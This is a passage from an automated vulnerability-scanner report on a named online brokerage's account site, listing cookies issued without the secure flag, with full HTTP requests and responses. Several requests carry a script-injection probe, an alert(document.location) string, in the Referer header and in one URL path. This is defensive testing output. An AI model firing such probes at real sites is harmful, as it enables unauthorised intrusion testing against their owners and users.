Path:	/images/logos/firm/newlogo_ox.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=A07AAAC644F53C5E640E80A0791B83B0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/logos/firm/newlogo_ox.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 3698
Content-Type: image/gif
Last-Modified: Thu, 01 Sep 2011 04:00:28 GMT
Accept-Ranges: bytes
ETag: "1f1382af5b68cc1:e65"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=A07AAAC644F53C5E640E80A0791B83B0; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:26 GMT

GIF89a..8..@....q.k.........ZWX....r.M.E#. .........e.^...Y.R.....................@..}.w............... |...............0..P.....`..1-....LIJ?;<...............p........hef........................vstA
...[SNIP]...

6.16. https://account.optionsxpress.com/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=67AC9231459F78416C6C118417F2EB5D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:33:31 GMT; path=/
Set-Cookie: TLTHID=67AC9231459F78416C6C118417F2EB5D; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:31 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

6.17. https://account.optionsxpress.com/images/minus_new_acct.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/minus_new_acct.gif

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com
TLTSID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/minus_new_acct.gif HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 176
Content-Type: image/gif
Last-Modified: Mon, 20 Jun 2005 14:21:32 GMT
Accept-Ranges: bytes
ETag: "60a375ba375c51:fc8"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

GIF89a . ....................................................................................................!.......,.... . .@.-`..$...(FC.V. ..h,....z..D.@T`F....0XF.Iazi.B.;

6.18. https://account.optionsxpress.com/images/newaccount/account_select1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/account_select1.gif

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com
TLTSID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/newaccount/account_select1.gif HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 19995
Content-Type: image/gif
Last-Modified: Mon, 16 May 2011 14:51:10 GMT
Accept-Ranges: bytes
ETag: "d7b82ab2d813cc1:efb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

GIF89a........................................................................................................................................................................................}.........
...[SNIP]...

6.19. https://account.optionsxpress.com/images/newaccount/account_select2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/account_select2.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=57018DB34D660B4883F443A4D0B4D349; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/newaccount/account_select2.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 8859
Content-Type: image/gif
Last-Modified: Tue, 11 May 2010 17:47:17 GMT
Accept-Ranges: bytes
ETag: "e09b2bff31f1ca1:fb9"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=57018DB34D660B4883F443A4D0B4D349; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:28 GMT

GIF89a............u..x............nK6.......................wnYG.W8..g..|.yZ.vW.......e\......[0.wdQ.........lki.]B..e......ZUN..}.............fG.xh.jI.|^................W<..l.........................
...[SNIP]...

6.20. https://account.optionsxpress.com/images/newaccount/nap_error_icon.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/nap_error_icon.png

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=2AB1B991426954C9E6064DB17C6FCAD0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/newaccount/nap_error_icon.png HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 385
Content-Type: image/png
Last-Modified: Thu, 28 Oct 2010 18:35:54 GMT
Accept-Ranges: bytes
ETag: "b848a2f4ce76cb1:efb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=2AB1B991426954C9E6064DB17C6FCAD0; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:26 GMT

.PNG
.
...IHDR.............Q(......tEXtSoftware.Adobe ImageReadyq.e<...#IDATx.b...?..01@...b....ed......$r..D......P.. . ..z..(S.R
..6>.Y......@z........n....@J.I..P.S&..O..1..'.^........@.@.a:..@
...[SNIP]...

6.21. https://account.optionsxpress.com/images/newaccount/nap_tip_icon.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/nap_tip_icon.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=991AE206424B97B6F977F9B28BE347B2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/newaccount/nap_tip_icon.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 329
Content-Type: image/gif
Last-Modified: Tue, 11 May 2010 17:47:16 GMT
Accept-Ranges: bytes
ETag: "70e98fe31f1ca1:ef3"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=991AE206424B97B6F977F9B28BE347B2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:27 GMT

GIF89a.............f..q..Wy.Vu.W{.T~....W|..........Z..g..X..X.Wx.Vv.......V.}.....e........_..R|...................Ny................................................................................
...[SNIP]...

6.22. https://account.optionsxpress.com/images/openAccount_bottom.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/openAccount_bottom.jpg

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com
TLTSID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/openAccount_bottom.jpg HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 892
Content-Type: image/jpeg
Last-Modified: Mon, 10 May 2010 20:56:33 GMT
Accept-Ranges: bytes
ETag: "30977b4583f0ca1:eb2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

......JFIF.....d.d......Ducky..............Adobe.d.........................#....#"....."'.#!!#.''.030.'>>AA>>AAAAAAAAAAAAAAA................!....!1!!$!!1>-''''->8;333;8AA>>AAAAAAAAAAAAAAAAA...........
...[SNIP]...

6.23. https://account.optionsxpress.com/images/plus_new_acct.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/plus_new_acct.gif

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com
TLTSID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/plus_new_acct.gif HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 178
Content-Type: image/gif
Last-Modified: Mon, 20 Jun 2005 14:21:17 GMT
Accept-Ranges: bytes
ETag: "b0e14052a375c51:fb1"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

GIF89a . ....................................................................................................!.......,.... . .@./`..$...(BB.N. .r1..#4...@T"Q........(....B.J....;

6.24. https://account.optionsxpress.com/images/rightColumn_divider.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/rightColumn_divider.jpg

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com
TLTSID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/rightColumn_divider.jpg HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 624
Content-Type: image/jpeg
Last-Modified: Mon, 10 May 2010 20:56:06 GMT
Accept-Ranges: bytes
ETag: "40c45d3583f0ca1:fb9"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

......JFIF.....d.d......Ducky.......1.....!Adobe.d........... .......%...n..................................................%$$$%)))))))))). ..
.

........................................##"##))
...[SNIP]...

6.25. https://account.optionsxpress.com/images/styles/bubble/b.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/b.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=77A51C33434FCC2754ED389A537B984E; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/b.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 95
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:39 GMT
Accept-Ranges: bytes
ETag: "f0c783bc1bfcca1:ef3"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=77A51C33434FCC2754ED389A537B984E; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:49 GMT

GIF89a...........f.LLL...ccc.................................!.......,.............Ii...q
.H..;

6.26. https://account.optionsxpress.com/images/styles/bubble/bl.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/bl.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=E4CCE9D34E711E38DE7ADA84B79732F8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/bl.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 1197
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:39 GMT
Accept-Ranges: bytes
ETag: "50b284bc1bfcca1:fd0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=E4CCE9D34E711E38DE7ADA84B79732F8; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:49 GMT

GIF89a...........f.......MMM...............___YYY...............PPP.i....www.........qqq......}}}TTT....s................~~~JJJ...ccc..............i....u...........z"....{#..2HHH........F....j........
...[SNIP]...

6.27. https://account.optionsxpress.com/images/styles/bubble/br.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/br.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=956B761F4FA5D2BDCA16DB89838483FB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/br.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 366
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:39 GMT
Accept-Ranges: bytes
ETag: "203d84bc1bfcca1:eb2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=956B761F4FA5D2BDCA16DB89838483FB; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:49 GMT

GIF89a
....1.....f.......ddd..................iii.................................rrr...eee.....................VVV...hhh..^.\.._.W.uN5.c LLL|V<PPP....a.MMM...........................................
...[SNIP]...

6.28. https://account.optionsxpress.com/images/styles/bubble/l.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/l.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=66E456154210275BF1AD2294C24E11C3; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/l.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 54
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:39 GMT
Accept-Ranges: bytes
ETag: "f05681bc1bfcca1:fb9"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=66E456154210275BF1AD2294C24E11C3; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:50 GMT

GIF89a...........f.......!.......,.............'.....;

6.29. https://account.optionsxpress.com/images/styles/bubble/r.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/r.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=4F0588BA4BA85289A097B6894C4CDEEB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/r.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
